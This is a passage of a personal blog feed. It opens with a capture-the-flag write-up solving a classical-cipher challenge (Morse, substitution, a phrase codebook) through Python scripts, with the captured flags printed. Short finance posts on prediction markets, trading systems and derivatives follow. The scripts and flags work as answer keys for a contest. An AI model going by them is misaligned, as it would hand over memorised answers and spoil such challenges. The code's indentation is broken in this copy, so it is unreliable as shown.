What is -.. — -. - ..-. — .-. –. . - .- ..- .-. -.– -. decrypted?</p>
</blockquote>
<p>Well, I am not a specialist of morse code, but i recognize morse when I see
it. Nevertheless I was too slow to search on wikipedia for a table,
decode that stuff and type it back. The server closed the connection.
So I wrote a script to decode morse.
After many trial and errors I finally succeeded and answered correctly
to the server who only wanted that I decode more morse.</p>
<blockquote>
<p>Correct! <br />
Round 2. Give me some text: <br />
a encrypted is .- <br />
What is .- - .-. . -.– ..- …- … –. – — .-. -.- decrypted?</p>
</blockquote>
<p>So I had to modify my script. I put a loop around the decoder. At
first it was an endless loop, but at 50 rounds the script exploded.</p>
<blockquote>
<dl>
<dt>Round 50. Give me some text: </dt>
<dt>a encrypted is .- </dt>
<dt>What is - .-. -.– … .– .. – – .. -. –. decrypted?</dt>
<dd>Cleartext is:try swimming <br />
Correct! <br />
Round complete! <br />
TUCTF{i_wi11_n0t_5teal} <br />
—————————————— <br />
You take the book <br />
This is level 2 the attic <br />
Round 1. Give me some text:</dd>
</dl>
</blockquote>
<p>So. we finally made it to level 2.
Sweet victory. This TUCTF{i_wi11_n0t_5teal}-stuff is a token which you
could put in the website and then my team got 10 credits. That’s how
CTFs work.</p>
<p>What follows is my code. The file was named scriptl1.py</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">ip</span><span class="o">=</span><span class="s">'146.148.102.236'</span>
<span class="n">port</span><span class="o">=</span><span class="mi">24069</span>
<span class="n">CODEL1</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'.-'</span> <span class="p">:</span> <span class="s">'a'</span><span class="p">,</span> <span class="s">'-...'</span><span class="p">:</span><span class="s">'b'</span><span class="p">,</span> <span class="s">'-.-.'</span><span class="p">:</span><span class="s">'c'</span><span class="p">,</span>
<span class="s">'-..'</span> <span class="p">:</span> <span class="s">'d'</span><span class="p">,</span> <span class="s">'.'</span> <span class="p">:</span><span class="s">'e'</span><span class="p">,</span> <span class="s">'..-.'</span><span class="p">:</span><span class="s">'f'</span><span class="p">,</span>
<span class="s">'--.'</span> <span class="p">:</span> <span class="s">'g'</span><span class="p">,</span> <span class="s">'....'</span><span class="p">:</span><span class="s">'h'</span><span class="p">,</span> <span class="s">'..'</span> <span class="p">:</span><span class="s">'i'</span><span class="p">,</span>
<span class="s">'.---'</span><span class="p">:</span> <span class="s">'j'</span><span class="p">,</span> <span class="s">'-.-'</span> <span class="p">:</span><span class="s">'k'</span><span class="p">,</span> <span class="s">'.-..'</span><span class="p">:</span><span class="s">'l'</span><span class="p">,</span>
<span class="s">'--'</span> <span class="p">:</span> <span class="s">'m'</span><span class="p">,</span> <span class="s">'-.'</span> <span class="p">:</span><span class="s">'n'</span><span class="p">,</span> <span class="s">'---'</span> <span class="p">:</span><span class="s">'o'</span><span class="p">,</span>
<span class="s">'.--.'</span><span class="p">:</span> <span class="s">'p'</span><span class="p">,</span> <span class="s">'--.-'</span><span class="p">:</span><span class="s">'q'</span><span class="p">,</span> <span class="s">'.-.'</span> <span class="p">:</span><span class="s">'r'</span><span class="p">,</span>
<span class="s">'...'</span> <span class="p">:</span> <span class="s">'s'</span><span class="p">,</span> <span class="s">'-'</span> <span class="p">:</span><span class="s">'t'</span><span class="p">,</span> <span class="s">'..-'</span> <span class="p">:</span><span class="s">'u'</span><span class="p">,</span>
<span class="s">'...-'</span><span class="p">:</span> <span class="s">'v'</span><span class="p">,</span> <span class="s">'.--'</span> <span class="p">:</span><span class="s">'w'</span><span class="p">,</span> <span class="s">'-..-'</span><span class="p">:</span><span class="s">'x'</span><span class="p">,</span>
<span class="s">'-.--'</span><span class="p">:</span> <span class="s">'y'</span><span class="p">,</span> <span class="s">'--..'</span><span class="p">:</span><span class="s">'z'</span><span class="p">,</span>
<span class="p">}</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="c1"># Level 1
</span><span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">()</span>
<span class="n">sock</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">50</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">))</span>
<span class="c1"># Round i. Give me some text:
</span> <span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"a</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"#######"</span><span class="p">)</span>
<span class="n">answer</span><span class="o">=</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"server answer:"</span> <span class="o">+</span><span class="n">answer</span><span class="p">)</span>
<span class="c1"># a encrypted is .-
</span> <span class="c1"># What is ..-. .-. .- --. -- . -. - .- - .. --- -. decrypted?
</span> <span class="c1"># :
</span> <span class="n">match</span><span class="o">=</span><span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'What is (.*) decrypted?'</span><span class="p">,</span> <span class="n">answer</span><span class="p">)</span>
<span class="n">morse</span><span class="o">=</span><span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">cleartext</span><span class="o">=</span><span class="s">''</span>
<span class="k">for</span> <span class="n">morsechar</span> <span class="ow">in</span> <span class="n">morse</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">" "</span><span class="p">,</span><span class="s">" space "</span><span class="p">).</span><span class="n">split</span><span class="p">():</span>
<span class="k">if</span> <span class="n">morsechar</span> <span class="o">==</span> <span class="s">'space'</span><span class="p">:</span>
<span class="n">cleartext</span> <span class="o">+=</span> <span class="s">' '</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">cleartext</span> <span class="o">+=</span> <span class="n">CODEL1</span><span class="p">[</span><span class="n">morsechar</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Cleartext is:"</span> <span class="o">+</span> <span class="n">cleartext</span><span class="p">)</span>
<span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">cleartext</span><span class="o">+</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span></code></pre></figure>
<p>The stuff with the space is a dirty hack. If you split a string
containing multiple spaces in Python the sucker will just disregard
it. So i substituted multiple spaces by “ space “, split and then
appended a space when encountering the word “space”. Well, at CTFs you
are sometimes under timepressure and code elegance is subordinate.</p>
<h2 id="level-2">Level 2</h2>
<p>For level 2 I had to go through level 1 every time. At least that is
what the guys at the irc-channel said:</p>
<blockquote>
<p>(13:35:28) uss_cryptobunny: whoisjohngalt: in the crypto challenge is there a shortcut to level2 or do i have to run through level1 every time? <br />
(13:35:59) neptunia: ^ every time <br />
(13:36:04) neptunia: that’s why its neverending</p>
</blockquote>
<p>So i restructured my code. I made a main.py which executed the
different files for the different levels. At the end it looked like
this:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="nb">execfile</span><span class="p">(</span><span class="s">"scriptl1.py"</span><span class="p">)</span>
<span class="nb">execfile</span><span class="p">(</span><span class="s">"scriptl2.py"</span><span class="p">)</span>
<span class="nb">execfile</span><span class="p">(</span><span class="s">"scriptl3.py"</span><span class="p">)</span></code></pre></figure>
<p>For level 2 i tried some letters. If the phrase was too long, the
server said it is too long and closed the connection. It was a really
slow process, since i had to go through the first level every time.
I quickly discovered that the cipher was a simple monoalphabetic
substitution. That is one of the easiest ciphers in existence. One
simply substitutes each letter with a different letter. For example
‘a’ becomes ‘n’, ‘b’ becomes ‘o’.
It was simply a matter of trying out all the letters, making a
codebook and reusing the code from the first level.
Oh, and did I mention putting everything in a loop with 50 rounds?</p>
<p>And then finally, level 3:</p>
<blockquote>
<dl>
<dt>Round 50. Give me some text: </dt>
<dt>ABCDEFGH encrypted is NOPQRSTU </dt>
<dt>What is v-|%r-‘|# decrypted?</dt>
<dd>Cleartext is:i owe you <br />
Correct! <br />
Round complete! <br />
TUCTF{c4n_s0me0ne_turn_a_1ight_0n} <br />
—————————————— <br />
You have found The Nothing <br />
This is level 3, The Nothing. <br />
Round 1. Give me some text:</dd>
</dl>
</blockquote>
<p>So, here is the code of scriptl2.py which solved the second level:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">ip</span><span class="o">=</span><span class="s">'146.148.102.236'</span>
<span class="n">port</span><span class="o">=</span><span class="mi">24069</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="c1"># Round complete!
# TUCTF{i_wi11_n0t_5teal}
# ------------------------------------------
# You take the book
# This is level 2 the attic
</span>
<span class="c1"># Level 2
</span><span class="n">CODEL2</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'-'</span> <span class="p">:</span> <span class="s">' '</span><span class="p">,</span>
<span class="s">'n'</span> <span class="p">:</span> <span class="s">'a'</span><span class="p">,</span>
<span class="s">'o'</span> <span class="p">:</span> <span class="s">'b'</span><span class="p">,</span>
<span class="s">'p'</span> <span class="p">:</span> <span class="s">'c'</span><span class="p">,</span>
<span class="s">'q'</span> <span class="p">:</span> <span class="s">'d'</span><span class="p">,</span>
<span class="s">'r'</span> <span class="p">:</span> <span class="s">'e'</span><span class="p">,</span>
<span class="s">'s'</span> <span class="p">:</span> <span class="s">'f'</span><span class="p">,</span>
<span class="s">'t'</span> <span class="p">:</span> <span class="s">'g'</span><span class="p">,</span>
<span class="s">'u'</span> <span class="p">:</span> <span class="s">'h'</span><span class="p">,</span>
<span class="s">'v'</span> <span class="p">:</span> <span class="s">'i'</span><span class="p">,</span>
<span class="s">'w'</span> <span class="p">:</span> <span class="s">'j'</span><span class="p">,</span>
<span class="s">'x'</span> <span class="p">:</span> <span class="s">'k'</span><span class="p">,</span>
<span class="s">'y'</span> <span class="p">:</span> <span class="s">'l'</span><span class="p">,</span>
<span class="s">'z'</span> <span class="p">:</span> <span class="s">'m'</span><span class="p">,</span>
<span class="s">'{'</span> <span class="p">:</span> <span class="s">'n'</span><span class="p">,</span>
<span class="s">'|'</span> <span class="p">:</span> <span class="s">'o'</span><span class="p">,</span>
<span class="s">'}'</span> <span class="p">:</span> <span class="s">'p'</span><span class="p">,</span>
<span class="s">'~'</span> <span class="p">:</span> <span class="s">'q'</span><span class="p">,</span>
<span class="s">' '</span> <span class="p">:</span> <span class="s">'r'</span><span class="p">,</span>
<span class="s">'!'</span> <span class="p">:</span> <span class="s">'s'</span><span class="p">,</span>
<span class="s">'"'</span> <span class="p">:</span> <span class="s">'t'</span><span class="p">,</span>
<span class="s">'#'</span> <span class="p">:</span> <span class="s">'u'</span><span class="p">,</span>
<span class="s">'$'</span> <span class="p">:</span> <span class="s">'v'</span><span class="p">,</span>
<span class="s">'%'</span> <span class="p">:</span> <span class="s">'w'</span><span class="p">,</span>
<span class="s">'&'</span> <span class="p">:</span> <span class="s">'x'</span><span class="p">,</span>
<span class="s">"'"</span> <span class="p">:</span> <span class="s">'y'</span><span class="p">,</span>
<span class="s">'('</span> <span class="p">:</span> <span class="s">'z'</span>
<span class="p">}</span>
<span class="c1"># built using many trials and assuming monoalphabetic substitution
# hopefully they did not put any numbers in
</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">50</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">))</span>
<span class="c1"># Round i. Give me some text:
</span> <span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"ABCDEFGH</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"#######"</span><span class="p">)</span>
<span class="n">answer</span><span class="o">=</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"server answer:"</span> <span class="o">+</span><span class="n">answer</span><span class="p">)</span>
<span class="c1"># server answer: STUVW encrypted is -`abcd
</span> <span class="n">match</span><span class="o">=</span><span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'What is (.*) decrypted?'</span><span class="p">,</span> <span class="n">answer</span><span class="p">)</span>
<span class="n">ciphertext</span><span class="o">=</span><span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">cleartext</span><span class="o">=</span><span class="s">''</span>
<span class="k">for</span> <span class="n">cipherletter</span> <span class="ow">in</span> <span class="n">ciphertext</span><span class="p">:</span>
<span class="n">cleartext</span> <span class="o">+=</span> <span class="n">CODEL2</span><span class="p">[</span><span class="n">cipherletter</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Cleartext is:"</span> <span class="o">+</span> <span class="n">cleartext</span><span class="p">)</span>
<span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">cleartext</span><span class="o">+</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span></code></pre></figure>
<h2 id="level-3">Level 3</h2>
<p>The third level was hard.
If i remember correctly ‘b’ decrypted was ‘b’, ‘bb’ decrypted was
‘yy’, ‘bbb’ decrypted was again ‘bbb’. I had no idea what was going
on. And for each trial I had to walk through the two levels before. I
opened multiple shells to run through the stuff in parallel. Spaces
were preserved, so there was no permutation, just substitution of
characters through other characters. I also assumed that it was a
deterministic encryption, since groups of characters were always
substituted by the same group of characters with the same length. As i
later discovered this was not the case. the nondeterminism was just
very seldom.</p>
<p>And then I had an idea. As with all good ideas, it is not entirely
clear how they form. Just that small spark of intuition. I looked at
all the cleartexts I had decrypted before and discovered that there
was about a hand full of them, all having to do with the neverending
story. Nice. So i thought that they will perhaps be the same again and
tried them all.
It was made a little more difficult by the fact, that for some
cleartexts there were multiple ciphertexts. For example ‘dont forget
auryn’ could either encrypt to ‘erby urpi.y agpfb’ or to ‘sykg typdfg
alpjk’.</p>
<p>After I made that codebook with the words, the rest was simple. And
after 50 rounds, I saw the familiar text:</p>
<blockquote>
<dl>
<dt>Round 50. Give me some text: </dt>
<dt>the nothing encrypted is ghf kyghukd </dt>
<dt>What is ravf ghf ;pukcfrr decrypted?</dt>
<dd>Cleartext is:save the princess <br />
Correct! <br />
Round complete! <br />
TUCTF{5omething_is_b3tt3r_th4n_n0thing} <br />
—————————————— <br />
You have run into a bad place… <br />
This is level 4, the swamps of sadness. <br />
Round 1. Give me some text:</dd>
</dl>
</blockquote>
<p>Here is the code for scriptl3.py:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">ip</span><span class="o">=</span><span class="s">'146.148.102.236'</span>
<span class="n">port</span><span class="o">=</span><span class="mi">24069</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="c1"># Round complete!
# TUCTF{i_wi11_n0t_5teal}
# ------------------------------------------
# You take the book
# This is level 2 the attic
</span>
<span class="c1"># Level 2
</span><span class="n">CODEL3</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">"agpfjl vr dmype"</span> <span class="p">:</span> <span class="s">"atreyu vs gmork"</span><span class="p">,</span>
<span class="s">"ayp.fg ko imrpt"</span> <span class="p">:</span> <span class="s">"atreyu vs gmork"</span><span class="p">,</span>
<span class="s">"xaoycab"</span> <span class="p">:</span> <span class="s">"bastian"</span><span class="p">,</span>
<span class="s">"barguak"</span> <span class="p">:</span> <span class="s">"bastian"</span><span class="p">,</span>
<span class="s">"erby urpi.y agpfb"</span> <span class="p">:</span> <span class="s">"dont forget auryn"</span><span class="p">,</span>
<span class="s">"sykg typdfg alpjk"</span> <span class="p">:</span> <span class="s">"dont forget auryn"</span><span class="p">,</span>
<span class="s">"sgpfjl vr dmype"</span> <span class="p">:</span> <span class="s">"dtreyu vs gmork"</span><span class="p">,</span>
<span class="s">"tpadmfkgaguyk"</span> <span class="p">:</span> <span class="s">'fragmentation'</span><span class="p">,</span>
<span class="s">"upaim.byaycrb"</span> <span class="p">:</span> <span class="s">'fragmentation'</span><span class="p">,</span>
<span class="s">"duakg glpgif"</span> <span class="p">:</span> <span class="s">"giant turtle"</span><span class="p">,</span>
<span class="s">"icaby ygpyn."</span> <span class="p">:</span> <span class="s">"giant turtle"</span><span class="p">,</span>
<span class="s">"dmyper cyyi"</span> <span class="p">:</span> <span class="s">"gmorks cool"</span><span class="p">,</span>
<span class="s">"imrpto jrrn"</span> <span class="p">:</span> <span class="s">"gmorks cool"</span><span class="p">,</span>
<span class="s">"c r,. frg"</span> <span class="p">:</span> <span class="s">"i owe you"</span><span class="p">,</span>
<span class="s">"u ywf jyl"</span> <span class="p">:</span> <span class="s">"i owe you"</span><span class="p">,</span>
<span class="s">"myyk chuis"</span> <span class="p">:</span> <span class="s">"moon child"</span><span class="p">,</span>
<span class="s">"mrrb jdcne"</span> <span class="p">:</span> <span class="s">"moon child"</span><span class="p">,</span>
<span class="s">"mf ngjtepairb"</span> <span class="p">:</span> <span class="s">"my luckdragon"</span><span class="p">,</span>
<span class="s">"mj ilcespadyk"</span> <span class="p">:</span> <span class="s">"my luckdragon"</span><span class="p">,</span>
<span class="s">"pfasukd ur sakdfpylpr"</span> <span class="p">:</span> <span class="s">"reading is dangerours"</span><span class="p">,</span>
<span class="s">"p.aecbi co eabi.prgpo"</span> <span class="p">:</span> <span class="s">"reading is dangerours"</span><span class="p">,</span>
<span class="s">"ravf ghf ;pukcfrr"</span> <span class="p">:</span> <span class="s">"save the princess"</span><span class="p">,</span>
<span class="s">"oak. yd. lpcbj.oo"</span> <span class="p">:</span> <span class="s">"save the princess"</span><span class="p">,</span>
<span class="s">"ghf kyghukd"</span> <span class="p">:</span> <span class="s">"the nothing"</span><span class="p">,</span>
<span class="s">"yd. brydcbi"</span> <span class="p">:</span> <span class="s">"the nothing"</span><span class="p">,</span>
<span class="s">"ghf ypacif"</span> <span class="p">:</span> <span class="s">"the oracle"</span><span class="p">,</span>
<span class="s">"yd. rpajn."</span> <span class="p">:</span> <span class="s">"the oracle"</span><span class="p">,</span>
<span class="s">"ypf o,cmmcbi"</span> <span class="p">:</span> <span class="s">"try swimming"</span><span class="p">,</span>
<span class="s">"gpj rwummukd"</span> <span class="p">:</span> <span class="s">"try swimming"</span><span class="p">,</span>
<span class="s">"wficymf agpfjl"</span> <span class="p">:</span> <span class="s">"welcome atreyu"</span><span class="p">,</span>
<span class="s">",.njrm. ayp.fg"</span> <span class="p">:</span> <span class="s">"welcome atreyu"</span>
<span class="p">}</span>
<span class="c1"># we found out, that in the previous challenges, we always had the
# same words, so we built a table
</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">50</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">))</span>
<span class="c1"># Round i. Give me some text:
</span> <span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"the nothing</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"#######"</span><span class="p">)</span>
<span class="n">answer</span><span class="o">=</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"server answer:"</span> <span class="o">+</span><span class="n">answer</span><span class="p">)</span>
<span class="n">match</span><span class="o">=</span><span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'What is (.*) decrypted?'</span><span class="p">,</span> <span class="n">answer</span><span class="p">)</span>
<span class="n">ciphertext</span><span class="o">=</span><span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">cleartext</span> <span class="o">=</span> <span class="n">CODEL3</span><span class="p">[</span><span class="n">ciphertext</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Cleartext is:"</span> <span class="o">+</span> <span class="n">cleartext</span><span class="p">)</span>
<span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">cleartext</span><span class="o">+</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">256</span><span class="p">))</span>
<span class="c1"># Round complete!
# TUCTF{5omething_is_b3tt3r_th4n_n0thing}
# ------------------------------------------
# You have run into a bad place...
# This is level 4, the swamps of sadness.
# Round 1. Give me some text:
</span><span class="o">=</span><span class="n">crypto3</span><span class="o">=</span></code></pre></figure>
<h2 id="level-4">Level 4</h2>
<p>Level 4 was really damn weird. The encryptions were always totally
different. And I had to wait half an eternity to run through all my
script to get more cleartext-ciphertext pairs. I have no idea how the
code there worked. And again if I succeeded I would only get 10
points.
In comparison some web sql-injection challenge yielded at least 50 points.
This was basically the reason I quit and tried some other challenges.
So no code beyond level 3.</p>
<p>I have one log which is the transcript of the communication between my
program and the server, which is perhaps interesting. It can be found
<a href="http://hkopp.github.io/assets/writeup-the-neverending-crypto-challenge/transcript.txt">here</a>.</p>
Prediction Markets
2016-05-15T00:00:00+00:00
https://hkopp.github.io/2016/05/prediction-markets
<h2 id="introduction">Introduction</h2>
<p>My goal for this article is to explain prediction markets and what can
be done with them.</p>
<h2 id="example">Example</h2>
<p>Suppose we want to know if Ron Paul will become the next president.
The traditional way to gain this knowledge would be to conduct surveys.
Since this is boring i want to explain another approach. <br />
Suppose we have contracts that grant the holder of that contract one
dollar if Ron Paul becomes president. Otherwise the contract is
naught. <br />
How much would you pay for such a contract?
The fair price of the contract is clearly the expectation that Ron
Paul becomes president. Suppose he becomes president with 20%
probability. Then with 20% the contract is worth one dollar, otherwise
zero. Thus the risk-neutral price is 0.2 dollars. <br />
The problem is that we do not know the probability in advance so
prediction markets work the other way around. We simply issue the
contract and let the price be influenced by demand and supply. If you
think the contract is too cheap and the fair price should be higher,
you can buy some contracts and make money if you were correct. If the
price then settles at 0.3 dollars, we can interpret this as the
probability of Ron Paul becoming president.</p>
<h2 id="theory">Theory</h2>
<p>Of course this not only works with presidency, but with any binary
event that eventually “expires”. For example you could bet on the
weather tomorrow. By issuing multiple contracts, we can also bet on
discrete (non-binary) events.
But where does the money come from? Well, insiders are better informed
than the general public and thus they can make money with their
information. But by providing this information through buying or
selling such a contract, it becomes public in the price of the
contract. So the money gained is simply the price which was included
in that released information.</p>
<h2 id="problems">Problems</h2>
<p>Why aren’t we all using prediction markets?
One problem is that often we have a lack of liquidity. Then the spread
becomes too large to make accurate predictions. For example, what does
it tell you, if you can buy a contract on an event at 0.6$ and sell it
at 0.3$? It only gives you an interval for the probability of that
event occuring.</p>
<p>Another issue occurs when people can issue their own bets. For example
they could bet on the date of the death of famous persons. This is
similar to how assassination markets work.
In an assassination market one bets on the date of the death and if it
does not happen, the money spent is simply collected in a pot.
However, if one is correct about the date of death, then one receives
the pot.
This provides an incentive to murder the person in question, after
betting on the correct date of death which the murder knows, and
thereby collect the pot.
So, prediction markets in the worst case can degenerate to crowdfunded
murder by providing financial incentives to change the outcome of the
event underlying the bet.</p>
System Architecture Of Automated Trading Systems
2016-04-11T00:00:00+00:00
https://hkopp.github.io/2016/04/system-architecture-of-automated-trading-systems
<h2 id="introduction">Introduction</h2>
<p>In this post we will look at a basic system architecture of fully
automated trading systems.
An algorithmic trading system is a program that automatically trades
stuff on a market. This stuff could be anything ranging from
derivatives to forex.
Today nearly all brokers provide an API for automated trading.
Many proprietary trading desks plug their own software to these
brokers. For example you could have a VBA-macro in your excel file
that is plugged to an exchange. Then you see the current price in your
spreadsheet and are able to trade through excel.
In this post I want to talk about fully automated trading. So the
trading signals are not generated by humans but instead
algorithmically. <br />
You should know a little bit about object oriented programming to
understand this article. My approach is to explain the objects in the
order of information flow, except the logging facilities.</p>
<h2 id="price-stream">Price Stream</h2>
<p>The first important part of an algorithmic trading system is the price
feed. This is basically a separate thread which streams the current
prices from the exchange. Mostly this works via HTTP streams or the FIX
protocol.
A more advanced price handler could even provide the whole order book.
Sometimes these prices cover multiple financial instruments. On
these price signals the rest of the trading system depends.</p>
<h2 id="trading-strategy">Trading Strategy</h2>
<p>The trading strategy is the heart of a trading system. It receives the
prices and generates buy or sell signals. This module is perhaps the
most closely guarded secret of any fund.</p>
<h2 id="risk-management-module">Risk Management module</h2>
<p>Before executing the buy or sell signals the risk management module
determines if the orders are in line with risk management objectives.
The risk management module also determines the order size. This could
be according to any criterion, e.g., the (fractional) Kelly criterion.
When
trading multiple instruments a portfolio class could also be
incorporated in the risk management.
The risk management module creates other events which are processed by
the execution handler.</p>
<h2 id="execution-handler">Execution Handler</h2>
<p>Finally we can execute the order. If we have a big order simply buying or
selling all in one go is a bad idea, since then we suffer
significant slippage. To this end we have an algorithmic execution
handler. Here we can offer more sophisticated execution algorithms
trying to match a benchmark like VWAP, TWAP oder POV.
If trading on multiple exchanges, for example in the case of arbitrage
trading, the execution handler also has to incorporate a routing
object which is responsible for routing the orders to the best
exchange.</p>
<h2 id="logging-facilities">Logging facilities</h2>
<p>Throughout all of these modules there have to be logging facilities
and perhaps a graphical user interface to see the current state of the
system. This should provide accounting to see and evaluate the
performance of the system. Furthermore it could help to restore the
current state of the system if it crashes. Another obvious reason to
have this module is to help in tracking down errors.</p>
Fundamentals Of Derivatives Pricing
2015-12-12T00:00:00+00:00
https://hkopp.github.io/2015/12/fundamentals-of-derivatives-pricing
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In some of the last posts, we talked about how to price different
derivatives. But we had no unifying theme. In this post I am going to
describe the three general categories of how to price derivatives.
Remember, derivatives are assets whose value is dependent on the value
of another asset, such as an option or a future.</p>
<h2 id="hedging">Hedging</h2>
<p>When hedging, we build a risk neutral portfolio. That
means we buy other assets, such that the risks cancel.<br />
Suppose we play the following game: I have a coin and if it shows
heads, you win 1$. If it shows tails, you get nothing in return. How
much would you pay to play this game?
In this case, the coin itself is the asset, and the return of our game
is the derivative.
When hedging, assume there is another possible game. Assume there is
the game where you win 1$ on tails and win nothing on heads. Obviously
this should have the same price as the previous game.<br />
But now, if you play both games, you get 1$ and this return does not
depend on which side the coin landed. So it is a riskless asset.
So both games together are worth 1$. But since each game is worth the
same, one game is worth half a dollar. <br />
That is how hedging works.</p>
<h2 id="risk-neutral-valuation">Risk-neutral valuation</h2>
<p>In risk-neutral valuation you disregard the risks and only look at the
expected value.<br />
For example in our coin-flip above, one game has a return expectation of
half a dollar. So it is worth half a dollar.
This seems like an obvious way of pricing instruments, but let us take
another example. Suppose I take a deck of cards, give it a good
shuffle, take one card out and if it is the ace of spades, you win 26
$. On all other cards, you gain nothing. For simplicity, let us assume
we have no jokers and it is a regular deck of cards, so it has 52
different cards in it. Then the expected value of your return is the
same. But the risk is higher.<br />
We can also throw a dice with 100 sides and if it lands on 5, you get
50$. On all other sides, you get nothing. The expected return is the
same, but again, risk has increased. So normally you expect to be
compensated for this additional risk. When you try to price assets in a
risk-neutral way, you are not compensated for risk.
So, now I may have convinced you that just looking at the expected
value is not a trivial and obvious wya to price assets.
But then, why does it work? There is a thing called the fundamental
theorem of asset pricing, which roughly says that in an arbitrage-free
market this works.</p>
<h2 id="replication">Replication</h2>
<p>Replication works by composing the derivative by “smaller” assets
which are easier to price. Let us take as example a forward contract
that I will next year sell 1000$ for euros at the exchange rate next
year. How much should this contract be worth? Well, I lose 1000$, so I
can instead sell a zero-coupon bond over 1000$ which expires next
year. I can proceed to exchange the amount I have gained in euros and
buy another zero-coupon bond which grants me euros with all the money
I have just made by selling the 1000$-bond.
Then my account is at zero again and next year, I lose
1000$ dollars and get some euros. So the effect is the same
and therefore the forward-agreement should be worth the price of the
euro-bond minus the price of the 1000$-bond.
You can do this more rigorously by computing the forward exchange
rate, if you want to.
The idea of replication is, that if there is a mispricing between the
current price of the derivative and the price of some replication
thereof which behaves in exactly the same way, then some clever
arbitrageurs will take care of it and the prices will again converge.</p>
Spot Future Parity
2015-11-13T00:00:00+00:00
https://hkopp.github.io/2015/11/spot-future-parity
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In this post I am going to explain futures and talk about the spot
future parity which can be used to find the fair price of a future.
If you want to, you can first read about the
<a href="/2015/01/put-call-parity-for-european-options">put-call-parity of options</a>
Perhaps it makes sense to read that post first, I do not know. Options
and Futures are similar, but Futures are easier, since they have a
linear payoff.</p>
<p>As in the post about the put-call parity of options, you have to
imagine en-dashes between “put” and “call” in the title, since I did
not find out how I can insert en-dashes in filenames in jekyll.</p>
<p>A <em>future</em> \(F\) is a contract entered at time \(0\), where the buyer
has the obligation (not the option) to buy at a future time \(T\) an
asset \(S\) at the current price which we will also denote by \(S\).</p>
<p>You can also sell a future, then you have the duty to sell assets at
the price \(S\) at time \(T\).</p>
<p>The asset \(S\) is also called the <em>underlying</em>.</p>
<p>The great thing about futures is that they lock in a fixed price.
Assume you think that the value of some company will rise in the near
